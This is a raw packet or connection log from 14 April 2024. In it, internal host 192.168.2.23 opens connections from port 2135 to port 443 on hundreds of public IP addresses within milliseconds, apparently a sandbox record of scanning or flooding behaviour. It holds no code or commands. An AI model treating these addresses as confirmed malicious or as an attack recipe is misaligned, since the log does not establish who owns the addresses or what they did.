Apr 14, 2024 03:59:53.103821039 CEST	443	2135	123.74.181.83	192.168.2.23
Apr 14, 2024 03:59:53.103822947 CEST	2135	443	192.168.2.23	178.143.229.170
Apr 14, 2024 03:59:53.103830099 CEST	2135	443	192.168.2.23	109.170.24.65
Apr 14, 2024 03:59:53.103830099 CEST	2135	443	192.168.2.23	109.232.228.91
Apr 14, 2024 03:59:53.103830099 CEST	2135	443	192.168.2.23	37.177.234.80
Apr 14, 2024 03:59:53.103830099 CEST	2135	443	192.168.2.23	178.154.89.156
Apr 14, 2024 03:59:53.103830099 CEST	2135	443	192.168.2.23	2.195.72.99
Apr 14, 2024 03:59:53.103830099 CEST	2135	443	192.168.2.23	212.231.102.46
Apr 14, 2024 03:59:53.103830099 CEST	2135	443	192.168.2.23	79.193.68.153
Apr 14, 2024 03:59:53.103832960 CEST	2135	443	192.168.2.23	37.102.198.89
Apr 14, 2024 03:59:53.103835106 CEST	2135	443	192.168.2.23	210.93.187.179
Apr 14, 2024 03:59:53.103841066 CEST	443	2135	109.170.24.65	192.168.2.23
Apr 14, 2024 03:59:53.103851080 CEST	443	2135	109.232.228.91	192.168.2.23
Apr 14, 2024 03:59:53.103857040 CEST	443	2135	37.177.234.80	192.168.2.23
Apr 14, 2024 03:59:53.103866100 CEST	443	2135	178.154.89.156	192.168.2.23
Apr 14, 2024 03:59:53.103873968 CEST	2135	443	192.168.2.23	109.134.4.218
Apr 14, 2024 03:59:53.103873968 CEST	2135	443	192.168.2.23	109.201.144.70
Apr 14, 2024 03:59:53.103873968 CEST	2135	443	192.168.2.23	117.202.111.52
Apr 14, 2024 03:59:53.103873968 CEST	2135	443	192.168.2.23	212.156.203.76
Apr 14, 2024 03:59:53.103879929 CEST	2135	443	192.168.2.23	109.118.62.147
Apr 14, 2024 03:59:53.103880882 CEST	443	2135	109.201.144.70	192.168.2.23
Apr 14, 2024 03:59:53.103880882 CEST	2135	443	192.168.2.23	123.87.98.90
Apr 14, 2024 03:59:53.103885889 CEST	443	2135	117.202.111.52	192.168.2.23
Apr 14, 2024 03:59:53.103888988 CEST	443	2135	109.134.4.218	192.168.2.23
Apr 14, 2024 03:59:53.103888988 CEST	2135	443	192.168.2.23	117.3.122.240
Apr 14, 2024 03:59:53.103892088 CEST	443	2135	109.118.62.147	192.168.2.23
Apr 14, 2024 03:59:53.103894949 CEST	443	2135	212.156.203.76	192.168.2.23
Apr 14, 2024 03:59:53.103899002 CEST	443	2135	117.3.122.240	192.168.2.23
Apr 14, 2024 03:59:53.103900909 CEST	2135	443	192.168.2.23	178.50.182.246
Apr 14, 2024 03:59:53.103900909 CEST	2135	443	192.168.2.23	210.111.156.205
Apr 14, 2024 03:59:53.103904963 CEST	443	2135	123.87.98.90	192.168.2.23
Apr 14, 2024 03:59:53.103912115 CEST	443	2135	178.50.182.246	192.168.2.23
Apr 14, 2024 03:59:53.103914976 CEST	2135	443	192.168.2.23	117.202.111.52
Apr 14, 2024 03:59:53.103914976 CEST	2135	443	192.168.2.23	109.201.144.70
Apr 14, 2024 03:59:53.103918076 CEST	2135	443	192.168.2.23	109.134.4.218
Apr 14, 2024 03:59:53.103923082 CEST	443	2135	210.111.156.205	192.168.2.23
Apr 14, 2024 03:59:53.103924990 CEST	2135	443	192.168.2.23	109.118.62.147
Apr 14, 2024 03:59:53.103929996 CEST	2135	443	192.168.2.23	148.7.198.46
Apr 14, 2024 03:59:53.103935003 CEST	443	2135	148.7.198.46	192.168.2.23
Apr 14, 2024 03:59:53.103936911 CEST	2135	443	192.168.2.23	117.3.122.240
Apr 14, 2024 03:59:53.103941917 CEST	2135	443	192.168.2.23	212.156.203.76
Apr 14, 2024 03:59:53.103945971 CEST	2135	443	192.168.2.23	123.87.98.90
Apr 14, 2024 03:59:53.103950024 CEST	2135	443	192.168.2.23	202.93.120.37
Apr 14, 2024 03:59:53.103957891 CEST	2135	443	192.168.2.23	178.50.182.246
Apr 14, 2024 03:59:53.103957891 CEST	2135	443	192.168.2.23	210.111.156.205
Apr 14, 2024 03:59:53.103959084 CEST	2135	443	192.168.2.23	148.7.198.46
Apr 14, 2024 03:59:53.103965044 CEST	443	2135	202.93.120.37	192.168.2.23
Apr 14, 2024 03:59:53.103972912 CEST	2135	443	192.168.2.23	42.132.154.27
Apr 14, 2024 03:59:53.103981972 CEST	443	2135	42.132.154.27	192.168.2.23
Apr 14, 2024 03:59:53.103987932 CEST	2135	443	192.168.2.23	148.1.124.2
Apr 14, 2024 03:59:53.103992939 CEST	443	2135	148.1.124.2	192.168.2.23
Apr 14, 2024 03:59:53.104001999 CEST	2135	443	192.168.2.23	202.93.120.37
Apr 14, 2024 03:59:53.104001999 CEST	2135	443	192.168.2.23	212.217.84.237
Apr 14, 2024 03:59:53.104005098 CEST	2135	443	192.168.2.23	123.69.108.151
Apr 14, 2024 03:59:53.104012012 CEST	443	2135	123.69.108.151	192.168.2.23
Apr 14, 2024 03:59:53.104017019 CEST	443	2135	212.217.84.237	192.168.2.23
Apr 14, 2024 03:59:53.104017973 CEST	2135	443	192.168.2.23	94.193.12.204
Apr 14, 2024 03:59:53.104022980 CEST	2135	443	192.168.2.23	148.1.124.2
Apr 14, 2024 03:59:53.104022980 CEST	2135	443	192.168.2.23	42.132.154.27
Apr 14, 2024 03:59:53.104026079 CEST	443	2135	94.193.12.204	192.168.2.23
Apr 14, 2024 03:59:53.104044914 CEST	2135	443	192.168.2.23	212.217.84.237
Apr 14, 2024 03:59:53.104047060 CEST	2135	443	192.168.2.23	202.71.94.110
Apr 14, 2024 03:59:53.104055882 CEST	443	2135	202.71.94.110	192.168.2.23
Apr 14, 2024 03:59:53.104055882 CEST	2135	443	192.168.2.23	123.69.108.151
Apr 14, 2024 03:59:53.104064941 CEST	2135	443	192.168.2.23	2.115.209.155
Apr 14, 2024 03:59:53.104064941 CEST	2135	443	192.168.2.23	212.150.204.237
Apr 14, 2024 03:59:53.104065895 CEST	2135	443	192.168.2.23	94.193.12.204
Apr 14, 2024 03:59:53.104073048 CEST	443	2135	212.150.204.237	192.168.2.23
Apr 14, 2024 03:59:53.104073048 CEST	443	2135	2.115.209.155	192.168.2.23
Apr 14, 2024 03:59:53.104093075 CEST	2135	443	192.168.2.23	109.136.97.52
Apr 14, 2024 03:59:53.104093075 CEST	2135	443	192.168.2.23	210.11.109.68
Apr 14, 2024 03:59:53.104093075 CEST	2135	443	192.168.2.23	202.30.26.164
Apr 14, 2024 03:59:53.104098082 CEST	2135	443	192.168.2.23	37.87.27.187
Apr 14, 2024 03:59:53.104099035 CEST	2135	443	192.168.2.23	5.189.208.151
Apr 14, 2024 03:59:53.104105949 CEST	443	2135	5.189.208.151	192.168.2.23
Apr 14, 2024 03:59:53.104106903 CEST	2135	443	192.168.2.23	37.140.102.59
Apr 14, 2024 03:59:53.104106903 CEST	443	2135	37.87.27.187	192.168.2.23
Apr 14, 2024 03:59:53.104111910 CEST	2135	443	192.168.2.23	202.71.94.110
Apr 14, 2024 03:59:53.104113102 CEST	443	2135	109.136.97.52	192.168.2.23
Apr 14, 2024 03:59:53.104111910 CEST	2135	443	192.168.2.23	94.117.78.102
Apr 14, 2024 03:59:53.104116917 CEST	443	2135	37.140.102.59	192.168.2.23
Apr 14, 2024 03:59:53.104120970 CEST	2135	443	192.168.2.23	123.252.200.143
Apr 14, 2024 03:59:53.104120970 CEST	2135	443	192.168.2.23	2.115.209.155
Apr 14, 2024 03:59:53.104123116 CEST	443	2135	210.11.109.68	192.168.2.23
Apr 14, 2024 03:59:53.104123116 CEST	443	2135	94.117.78.102	192.168.2.23
Apr 14, 2024 03:59:53.104129076 CEST	443	2135	202.30.26.164	192.168.2.23
Apr 14, 2024 03:59:53.104130030 CEST	443	2135	123.252.200.143	192.168.2.23
Apr 14, 2024 03:59:53.104135036 CEST	2135	443	192.168.2.23	42.183.135.168
Apr 14, 2024 03:59:53.104142904 CEST	443	2135	42.183.135.168	192.168.2.23
Apr 14, 2024 03:59:53.104144096 CEST	2135	443	192.168.2.23	212.150.204.237
Apr 14, 2024 03:59:53.104144096 CEST	2135	443	192.168.2.23	123.90.25.240
Apr 14, 2024 03:59:53.104145050 CEST	2135	443	192.168.2.23	37.87.27.187
Apr 14, 2024 03:59:53.104145050 CEST	2135	443	192.168.2.23	5.189.208.151
Apr 14, 2024 03:59:53.104151011 CEST	2135	443	192.168.2.23	37.222.3.28
Apr 14, 2024 03:59:53.104156017 CEST	443	2135	123.90.25.240	192.168.2.23
Apr 14, 2024 03:59:53.104156971 CEST	2135	443	192.168.2.23	37.140.102.59
Apr 14, 2024 03:59:53.104160070 CEST	443	2135	37.222.3.28	192.168.2.23
Apr 14, 2024 03:59:53.104166985 CEST	2135	443	192.168.2.23	210.11.109.68
Apr 14, 2024 03:59:53.104166985 CEST	2135	443	192.168.2.23	109.136.97.52
Apr 14, 2024 03:59:53.104171991 CEST	2135	443	192.168.2.23	123.252.200.143
Apr 14, 2024 03:59:53.104173899 CEST	2135	443	192.168.2.23	94.117.78.102
Apr 14, 2024 03:59:53.104175091 CEST	2135	443	192.168.2.23	42.183.135.168
Apr 14, 2024 03:59:53.104181051 CEST	2135	443	192.168.2.23	148.172.5.235
Apr 14, 2024 03:59:53.104181051 CEST	2135	443	192.168.2.23	42.31.26.42
Apr 14, 2024 03:59:53.104181051 CEST	2135	443	192.168.2.23	123.74.181.83
Apr 14, 2024 03:59:53.104181051 CEST	2135	443	192.168.2.23	109.170.24.65
Apr 14, 2024 03:59:53.104181051 CEST	2135	443	192.168.2.23	37.177.234.80
Apr 14, 2024 03:59:53.104181051 CEST	2135	443	192.168.2.23	109.232.228.91
Apr 14, 2024 03:59:53.104181051 CEST	2135	443	192.168.2.23	178.154.89.156
Apr 14, 2024 03:59:53.104181051 CEST	2135	443	192.168.2.23	202.11.82.9
Apr 14, 2024 03:59:53.104188919 CEST	2135	443	192.168.2.23	202.30.26.164
Apr 14, 2024 03:59:53.104188919 CEST	2135	443	192.168.2.23	123.90.25.240
Apr 14, 2024 03:59:53.104190111 CEST	2135	443	192.168.2.23	109.120.3.74
Apr 14, 2024 03:59:53.104192972 CEST	2135	443	192.168.2.23	2.117.27.175
Apr 14, 2024 03:59:53.104195118 CEST	2135	443	192.168.2.23	37.222.3.28
Apr 14, 2024 03:59:53.104199886 CEST	443	2135	109.120.3.74	192.168.2.23
Apr 14, 2024 03:59:53.104201078 CEST	443	2135	202.11.82.9	192.168.2.23
Apr 14, 2024 03:59:53.104202032 CEST	443	2135	2.117.27.175	192.168.2.23
Apr 14, 2024 03:59:53.104207993 CEST	2135	443	192.168.2.23	79.138.180.77
Apr 14, 2024 03:59:53.104207993 CEST	2135	443	192.168.2.23	79.35.53.144
Apr 14, 2024 03:59:53.104207993 CEST	2135	443	192.168.2.23	148.136.108.116
Apr 14, 2024 03:59:53.104214907 CEST	2135	443	192.168.2.23	123.187.7.2
Apr 14, 2024 03:59:53.104207993 CEST	2135	443	192.168.2.23	212.155.42.227
Apr 14, 2024 03:59:53.104228020 CEST	2135	443	192.168.2.23	202.191.214.53
Apr 14, 2024 03:59:53.104228020 CEST	2135	443	192.168.2.23	118.186.25.39
Apr 14, 2024 03:59:53.104228973 CEST	2135	443	192.168.2.23	210.170.212.73
Apr 14, 2024 03:59:53.104229927 CEST	443	2135	123.187.7.2	192.168.2.23
Apr 14, 2024 03:59:53.104232073 CEST	2135	443	192.168.2.23	212.75.138.136
Apr 14, 2024 03:59:53.104232073 CEST	443	2135	79.138.180.77	192.168.2.23
Apr 14, 2024 03:59:53.104237080 CEST	443	2135	210.170.212.73	192.168.2.23
Apr 14, 2024 03:59:53.104238033 CEST	443	2135	202.191.214.53	192.168.2.23
Apr 14, 2024 03:59:53.104238987 CEST	443	2135	212.75.138.136	192.168.2.23
Apr 14, 2024 03:59:53.104238987 CEST	443	2135	79.35.53.144	192.168.2.23
Apr 14, 2024 03:59:53.104247093 CEST	2135	443	192.168.2.23	109.120.3.74
Apr 14, 2024 03:59:53.104248047 CEST	443	2135	148.136.108.116	192.168.2.23
Apr 14, 2024 03:59:53.104249954 CEST	443	2135	118.186.25.39	192.168.2.23
Apr 14, 2024 03:59:53.104250908 CEST	2135	443	192.168.2.23	2.117.27.175
Apr 14, 2024 03:59:53.104259968 CEST	443	2135	212.155.42.227	192.168.2.23
Apr 14, 2024 03:59:53.104264021 CEST	2135	443	192.168.2.23	42.180.170.157
Apr 14, 2024 03:59:53.104269981 CEST	2135	443	192.168.2.23	123.187.7.2
Apr 14, 2024 03:59:53.104270935 CEST	443	2135	42.180.170.157	192.168.2.23
Apr 14, 2024 03:59:53.104271889 CEST	2135	443	192.168.2.23	212.75.138.136
Apr 14, 2024 03:59:53.104288101 CEST	2135	443	192.168.2.23	202.191.214.53
Apr 14, 2024 03:59:53.104288101 CEST	2135	443	192.168.2.23	118.186.25.39
Apr 14, 2024 03:59:53.104302883 CEST	2135	443	192.168.2.23	42.180.170.157
Apr 14, 2024 03:59:53.104317904 CEST	2135	443	192.168.2.23	123.95.81.18
Apr 14, 2024 03:59:53.104320049 CEST	2135	443	192.168.2.23	118.58.219.208
Apr 14, 2024 03:59:53.104326010 CEST	443	2135	123.95.81.18	192.168.2.23
Apr 14, 2024 03:59:53.104327917 CEST	443	2135	118.58.219.208	192.168.2.23
Apr 14, 2024 03:59:53.104337931 CEST	2135	443	192.168.2.23	210.140.236.16
Apr 14, 2024 03:59:53.104341030 CEST	2135	443	192.168.2.23	37.181.94.196
Apr 14, 2024 03:59:53.104343891 CEST	443	2135	210.140.236.16	192.168.2.23
Apr 14, 2024 03:59:53.104348898 CEST	2135	443	192.168.2.23	178.113.130.215
Apr 14, 2024 03:59:53.104351044 CEST	443	2135	37.181.94.196	192.168.2.23
Apr 14, 2024 03:59:53.104358912 CEST	443	2135	178.113.130.215	192.168.2.23
Apr 14, 2024 03:59:53.104358912 CEST	2135	443	192.168.2.23	210.170.212.73
Apr 14, 2024 03:59:53.104358912 CEST	2135	443	192.168.2.23	2.205.55.121
Apr 14, 2024 03:59:53.104362965 CEST	2135	443	192.168.2.23	118.58.219.208
Apr 14, 2024 03:59:53.104367018 CEST	2135	443	192.168.2.23	118.174.25.206
Apr 14, 2024 03:59:53.104368925 CEST	443	2135	2.205.55.121	192.168.2.23
Apr 14, 2024 03:59:53.104372025 CEST	2135	443	192.168.2.23	123.95.81.18
Apr 14, 2024 03:59:53.104372025 CEST	443	2135	118.174.25.206	192.168.2.23
Apr 14, 2024 03:59:53.104384899 CEST	2135	443	192.168.2.23	210.140.236.16
Apr 14, 2024 03:59:53.104387045 CEST	2135	443	192.168.2.23	37.181.94.196
Apr 14, 2024 03:59:53.104397058 CEST	2135	443	192.168.2.23	178.113.130.215
Apr 14, 2024 03:59:53.104397058 CEST	2135	443	192.168.2.23	79.38.97.169
Apr 14, 2024 03:59:53.104407072 CEST	2135	443	192.168.2.23	2.205.55.121
Apr 14, 2024 03:59:53.104408026 CEST	443	2135	79.38.97.169	192.168.2.23
Apr 14, 2024 03:59:53.104410887 CEST	2135	443	192.168.2.23	118.174.25.206
Apr 14, 2024 03:59:53.104432106 CEST	2135	443	192.168.2.23	212.28.34.223
Apr 14, 2024 03:59:53.104441881 CEST	443	2135	212.28.34.223	192.168.2.23
Apr 14, 2024 03:59:53.104444027 CEST	2135	443	192.168.2.23	117.10.180.175
Apr 14, 2024 03:59:53.104450941 CEST	2135	443	192.168.2.23	148.103.37.151
Apr 14, 2024 03:59:53.104450941 CEST	443	2135	117.10.180.175	192.168.2.23
Apr 14, 2024 03:59:53.104451895 CEST	2135	443	192.168.2.23	42.139.232.182
Apr 14, 2024 03:59:53.104456902 CEST	443	2135	148.103.37.151	192.168.2.23
Apr 14, 2024 03:59:53.104460001 CEST	443	2135	42.139.232.182	192.168.2.23
Apr 14, 2024 03:59:53.104461908 CEST	2135	443	192.168.2.23	79.38.97.169
Apr 14, 2024 03:59:53.104461908 CEST	2135	443	192.168.2.23	123.145.62.61
Apr 14, 2024 03:59:53.104474068 CEST	2135	443	192.168.2.23	123.194.27.144
Apr 14, 2024 03:59:53.104474068 CEST	2135	443	192.168.2.23	212.3.226.211
Apr 14, 2024 03:59:53.104475021 CEST	2135	443	192.168.2.23	212.28.34.223
Apr 14, 2024 03:59:53.104481936 CEST	443	2135	123.145.62.61	192.168.2.23
Apr 14, 2024 03:59:53.104481936 CEST	443	2135	123.194.27.144	192.168.2.23
Apr 14, 2024 03:59:53.104495049 CEST	443	2135	212.3.226.211	192.168.2.23
Apr 14, 2024 03:59:53.104499102 CEST	2135	443	192.168.2.23	117.220.189.49
Apr 14, 2024 03:59:53.104504108 CEST	2135	443	192.168.2.23	42.139.232.182
Apr 14, 2024 03:59:53.104506016 CEST	443	2135	117.220.189.49	192.168.2.23
Apr 14, 2024 03:59:53.104509115 CEST	2135	443	192.168.2.23	42.201.192.74
Apr 14, 2024 03:59:53.104510069 CEST	2135	443	192.168.2.23	123.135.212.41
Apr 14, 2024 03:59:53.104510069 CEST	2135	443	192.168.2.23	117.196.87.84
Apr 14, 2024 03:59:53.104517937 CEST	443	2135	42.201.192.74	192.168.2.23
Apr 14, 2024 03:59:53.104522943 CEST	443	2135	123.135.212.41	192.168.2.23
Apr 14, 2024 03:59:53.104526997 CEST	2135	443	192.168.2.23	42.234.69.139
Apr 14, 2024 03:59:53.104526997 CEST	2135	443	192.168.2.23	109.97.167.23
Apr 14, 2024 03:59:53.104526997 CEST	2135	443	192.168.2.23	117.10.180.175
Apr 14, 2024 03:59:53.104526997 CEST	2135	443	192.168.2.23	2.197.4.88
Apr 14, 2024 03:59:53.104535103 CEST	443	2135	117.196.87.84	192.168.2.23
Apr 14, 2024 03:59:53.104537964 CEST	2135	443	192.168.2.23	2.128.61.85
Apr 14, 2024 03:59:53.104538918 CEST	443	2135	109.97.167.23	192.168.2.23
Apr 14, 2024 03:59:53.104540110 CEST	443	2135	42.234.69.139	192.168.2.23
Apr 14, 2024 03:59:53.104545116 CEST	2135	443	192.168.2.23	123.145.62.61
Apr 14, 2024 03:59:53.104545116 CEST	2135	443	192.168.2.23	42.201.192.74
Apr 14, 2024 03:59:53.104545116 CEST	2135	443	192.168.2.23	37.250.223.103
Apr 14, 2024 03:59:53.104547977 CEST	2135	443	192.168.2.23	148.103.37.151
Apr 14, 2024 03:59:53.104547977 CEST	2135	443	192.168.2.23	117.220.189.49
Apr 14, 2024 03:59:53.104548931 CEST	443	2135	2.128.61.85	192.168.2.23
Apr 14, 2024 03:59:53.104549885 CEST	443	2135	2.197.4.88	192.168.2.23
Apr 14, 2024 03:59:53.104551077 CEST	2135	443	192.168.2.23	123.194.27.144
Apr 14, 2024 03:59:53.104551077 CEST	2135	443	192.168.2.23	212.3.226.211
Apr 14, 2024 03:59:53.104551077 CEST	2135	443	192.168.2.23	123.135.212.41
Apr 14, 2024 03:59:53.104554892 CEST	2135	443	192.168.2.23	2.63.100.121
Apr 14, 2024 03:59:53.104554892 CEST	2135	443	192.168.2.23	210.6.109.142
Apr 14, 2024 03:59:53.104557991 CEST	443	2135	37.250.223.103	192.168.2.23
Apr 14, 2024 03:59:53.104559898 CEST	2135	443	192.168.2.23	210.90.135.6
Apr 14, 2024 03:59:53.104562044 CEST	443	2135	2.63.100.121	192.168.2.23
Apr 14, 2024 03:59:53.104562998 CEST	443	2135	210.6.109.142	192.168.2.23
Apr 14, 2024 03:59:53.104571104 CEST	443	2135	210.90.135.6	192.168.2.23
Apr 14, 2024 03:59:53.104572058 CEST	2135	443	192.168.2.23	109.97.167.23
Apr 14, 2024 03:59:53.104573011 CEST	2135	443	192.168.2.23	42.234.69.139
Apr 14, 2024 03:59:53.104577065 CEST	2135	443	192.168.2.23	117.196.87.84
Apr 14, 2024 03:59:53.104577065 CEST	2135	443	192.168.2.23	117.185.177.105
Apr 14, 2024 03:59:53.104578018 CEST	2135	443	192.168.2.23	2.197.4.88
Apr 14, 2024 03:59:53.104582071 CEST	2135	443	192.168.2.23	2.63.100.121
Apr 14, 2024 03:59:53.104584932 CEST	2135	443	192.168.2.23	2.128.61.85
Apr 14, 2024 03:59:53.104585886 CEST	443	2135	117.185.177.105	192.168.2.23
Apr 14, 2024 03:59:53.104598999 CEST	2135	443	192.168.2.23	210.6.109.142
Apr 14, 2024 03:59:53.104598999 CEST	2135	443	192.168.2.23	117.21.48.97
Apr 14, 2024 03:59:53.104604006 CEST	2135	443	192.168.2.23	37.250.223.103
Apr 14, 2024 03:59:53.104605913 CEST	443	2135	117.21.48.97	192.168.2.23
Apr 14, 2024 03:59:53.104605913 CEST	2135	443	192.168.2.23	210.90.135.6
Apr 14, 2024 03:59:53.104609966 CEST	2135	443	192.168.2.23	202.146.160.95
Apr 14, 2024 03:59:53.104618073 CEST	443	2135	202.146.160.95	192.168.2.23
Apr 14, 2024 03:59:53.104634047 CEST	2135	443	192.168.2.23	5.66.241.45
Apr 14, 2024 03:59:53.104638100 CEST	2135	443	192.168.2.23	117.231.121.4
Apr 14, 2024 03:59:53.104640007 CEST	443	2135	5.66.241.45	192.168.2.23
Apr 14, 2024 03:59:53.104640007 CEST	2135	443	192.168.2.23	212.111.118.51
Apr 14, 2024 03:59:53.104645967 CEST	443	2135	117.231.121.4	192.168.2.23
Apr 14, 2024 03:59:53.104648113 CEST	443	2135	212.111.118.51	192.168.2.23
Apr 14, 2024 03:59:53.104649067 CEST	2135	443	192.168.2.23	117.21.48.97
Apr 14, 2024 03:59:53.104662895 CEST	2135	443	192.168.2.23	202.146.160.95
Apr 14, 2024 03:59:53.104665041 CEST	2135	443	192.168.2.23	117.185.177.105
Apr 14, 2024 03:59:53.104692936 CEST	2135	443	192.168.2.23	212.111.118.51
Apr 14, 2024 03:59:53.104693890 CEST	2135	443	192.168.2.23	178.26.11.26
Apr 14, 2024 03:59:53.104696035 CEST	2135	443	192.168.2.23	117.231.121.4
Apr 14, 2024 03:59:53.104702950 CEST	2135	443	192.168.2.23	202.11.82.9
Apr 14, 2024 03:59:53.104703903 CEST	2135	443	192.168.2.23	109.9.227.45
Apr 14, 2024 03:59:53.104702950 CEST	2135	443	192.168.2.23	79.138.180.77
Apr 14, 2024 03:59:53.104702950 CEST	2135	443	192.168.2.23	79.35.53.144
Apr 14, 2024 03:59:53.104702950 CEST	2135	443	192.168.2.23	148.136.108.116
Apr 14, 2024 03:59:53.104702950 CEST	2135	443	192.168.2.23	212.155.42.227
Apr 14, 2024 03:59:53.104702950 CEST	2135	443	192.168.2.23	202.140.220.209
Apr 14, 2024 03:59:53.104702950 CEST	2135	443	192.168.2.23	37.17.6.124
Apr 14, 2024 03:59:53.104702950 CEST	2135	443	192.168.2.23	79.126.24.21
Apr 14, 2024 03:59:53.104707956 CEST	443	2135	178.26.11.26	192.168.2.23
Apr 14, 2024 03:59:53.104707956 CEST	2135	443	192.168.2.23	79.98.97.218
Apr 14, 2024 03:59:53.104708910 CEST	2135	443	192.168.2.23	117.125.81.180
Apr 14, 2024 03:59:53.104708910 CEST	2135	443	192.168.2.23	42.237.147.84
Apr 14, 2024 03:59:53.104711056 CEST	443	2135	109.9.227.45	192.168.2.23
Apr 14, 2024 03:59:53.104716063 CEST	443	2135	79.98.97.218	192.168.2.23
Apr 14, 2024 03:59:53.104717016 CEST	2135	443	192.168.2.23	5.66.241.45
Apr 14, 2024 03:59:53.104720116 CEST	443	2135	117.125.81.180	192.168.2.23
Apr 14, 2024 03:59:53.104722023 CEST	443	2135	202.140.220.209	192.168.2.23
Apr 14, 2024 03:59:53.104731083 CEST	443	2135	37.17.6.124	192.168.2.23
Apr 14, 2024 03:59:53.104737043 CEST	443	2135	42.237.147.84	192.168.2.23
Apr 14, 2024 03:59:53.104738951 CEST	2135	443	192.168.2.23	178.90.90.97
Apr 14, 2024 03:59:53.104739904 CEST	2135	443	192.168.2.23	178.26.11.26
Apr 14, 2024 03:59:53.104743958 CEST	2135	443	192.168.2.23	109.9.227.45
Apr 14, 2024 03:59:53.104744911 CEST	443	2135	79.126.24.21	192.168.2.23
Apr 14, 2024 03:59:53.104746103 CEST	2135	443	192.168.2.23	79.98.97.218
Apr 14, 2024 03:59:53.104747057 CEST	443	2135	178.90.90.97	192.168.2.23
Apr 14, 2024 03:59:53.104751110 CEST	2135	443	192.168.2.23	202.102.53.157
Apr 14, 2024 03:59:53.104756117 CEST	443	2135	202.102.53.157	192.168.2.23
Apr 14, 2024 03:59:53.104768991 CEST	2135	443	192.168.2.23	202.140.220.209
Apr 14, 2024 03:59:53.104772091 CEST	2135	443	192.168.2.23	210.46.47.110
Apr 14, 2024 03:59:53.104774952 CEST	2135	443	192.168.2.23	117.175.117.14
Apr 14, 2024 03:59:53.104774952 CEST	2135	443	192.168.2.23	79.250.238.70
Apr 14, 2024 03:59:53.104774952 CEST	2135	443	192.168.2.23	210.206.19.218
Apr 14, 2024 03:59:53.104774952 CEST	2135	443	192.168.2.23	42.237.147.84
Apr 14, 2024 03:59:53.104779005 CEST	443	2135	210.46.47.110	192.168.2.23
Apr 14, 2024 03:59:53.104785919 CEST	443	2135	117.175.117.14	192.168.2.23
Apr 14, 2024 03:59:53.104787111 CEST	443	2135	79.250.238.70	192.168.2.23
Apr 14, 2024 03:59:53.104798079 CEST	443	2135	210.206.19.218	192.168.2.23
Apr 14, 2024 03:59:53.104799986 CEST	2135	443	192.168.2.23	123.204.215.187
Apr 14, 2024 03:59:53.104799986 CEST	2135	443	192.168.2.23	117.125.81.180
Apr 14, 2024 03:59:53.104800940 CEST	2135	443	192.168.2.23	178.90.90.97
Apr 14, 2024 03:59:53.104809046 CEST	443	2135	123.204.215.187	192.168.2.23
Apr 14, 2024 03:59:53.104809999 CEST	2135	443	192.168.2.23	42.101.67.121
Apr 14, 2024 03:59:53.104811907 CEST	2135	443	192.168.2.23	94.208.99.65
Apr 14, 2024 03:59:53.104815006 CEST	2135	443	192.168.2.23	118.61.110.24
Apr 14, 2024 03:59:53.104816914 CEST	443	2135	42.101.67.121	192.168.2.23
Apr 14, 2024 03:59:53.104818106 CEST	443	2135	94.208.99.65	192.168.2.23
Apr 14, 2024 03:59:53.104824066 CEST	443	2135	118.61.110.24	192.168.2.23
Apr 14, 2024 03:59:53.104830027 CEST	2135	443	192.168.2.23	210.46.47.110
Apr 14, 2024 03:59:53.104836941 CEST	2135	443	192.168.2.23	79.250.238.70
Apr 14, 2024 03:59:53.104841948 CEST	2135	443	192.168.2.23	123.204.215.187
Apr 14, 2024 03:59:53.104841948 CEST	2135	443	192.168.2.23	117.175.117.14
Apr 14, 2024 03:59:53.104841948 CEST	2135	443	192.168.2.23	210.206.19.218
Apr 14, 2024 03:59:53.104852915 CEST	2135	443	192.168.2.23	37.17.6.124
Apr 14, 2024 03:59:53.104852915 CEST	2135	443	192.168.2.23	79.126.24.21
Apr 14, 2024 03:59:53.104852915 CEST	2135	443	192.168.2.23	202.102.53.157
Apr 14, 2024 03:59:53.104860067 CEST	2135	443	192.168.2.23	94.208.99.65
Apr 14, 2024 03:59:53.104868889 CEST	2135	443	192.168.2.23	123.104.4.193
Apr 14, 2024 03:59:53.104868889 CEST	2135	443	192.168.2.23	118.103.2.163
Apr 14, 2024 03:59:53.104870081 CEST	2135	443	192.168.2.23	118.123.55.229
Apr 14, 2024 03:59:53.104870081 CEST	2135	443	192.168.2.23	37.21.156.97
Apr 14, 2024 03:59:53.104871988 CEST	2135	443	192.168.2.23	37.73.189.237
Apr 14, 2024 03:59:53.104872942 CEST	2135	443	192.168.2.23	42.101.67.121
Apr 14, 2024 03:59:53.104876041 CEST	443	2135	37.21.156.97	192.168.2.23
Apr 14, 2024 03:59:53.104876995 CEST	2135	443	192.168.2.23	123.242.155.64
Apr 14, 2024 03:59:53.104876995 CEST	2135	443	192.168.2.23	118.61.110.24
Apr 14, 2024 03:59:53.104877949 CEST	443	2135	118.123.55.229	192.168.2.23
Apr 14, 2024 03:59:53.104878902 CEST	443	2135	37.73.189.237	192.168.2.23
Apr 14, 2024 03:59:53.104881048 CEST	443	2135	123.104.4.193	192.168.2.23
Apr 14, 2024 03:59:53.104886055 CEST	443	2135	123.242.155.64	192.168.2.23
Apr 14, 2024 03:59:53.104892015 CEST	443	2135	118.103.2.163	192.168.2.23
Apr 14, 2024 03:59:53.104892969 CEST	2135	443	192.168.2.23	123.158.163.212
Apr 14, 2024 03:59:53.104892969 CEST	2135	443	192.168.2.23	178.87.121.62
Apr 14, 2024 03:59:53.104898930 CEST	443	2135	178.87.121.62	192.168.2.23
Apr 14, 2024 03:59:53.104898930 CEST	2135	443	192.168.2.23	2.171.250.237
Apr 14, 2024 03:59:53.104898930 CEST	2135	443	192.168.2.23	117.224.154.33
Apr 14, 2024 03:59:53.104903936 CEST	2135	443	192.168.2.23	5.164.66.45
Apr 14, 2024 03:59:53.104903936 CEST	443	2135	123.158.163.212	192.168.2.23
Apr 14, 2024 03:59:53.104906082 CEST	2135	443	192.168.2.23	2.178.253.108
Apr 14, 2024 03:59:53.104911089 CEST	443	2135	5.164.66.45	192.168.2.23
Apr 14, 2024 03:59:53.104912043 CEST	443	2135	2.171.250.237	192.168.2.23
Apr 14, 2024 03:59:53.104914904 CEST	443	2135	2.178.253.108	192.168.2.23
Apr 14, 2024 03:59:53.104919910 CEST	2135	443	192.168.2.23	37.21.156.97
Apr 14, 2024 03:59:53.104923964 CEST	443	2135	117.224.154.33	192.168.2.23
Apr 14, 2024 03:59:53.104928017 CEST	2135	443	192.168.2.23	178.87.121.62
Apr 14, 2024 03:59:53.104932070 CEST	2135	443	192.168.2.23	118.123.55.229
Apr 14, 2024 03:59:53.104933023 CEST	2135	443	192.168.2.23	212.69.103.247
Apr 14, 2024 03:59:53.104933023 CEST	2135	443	192.168.2.23	37.73.189.237
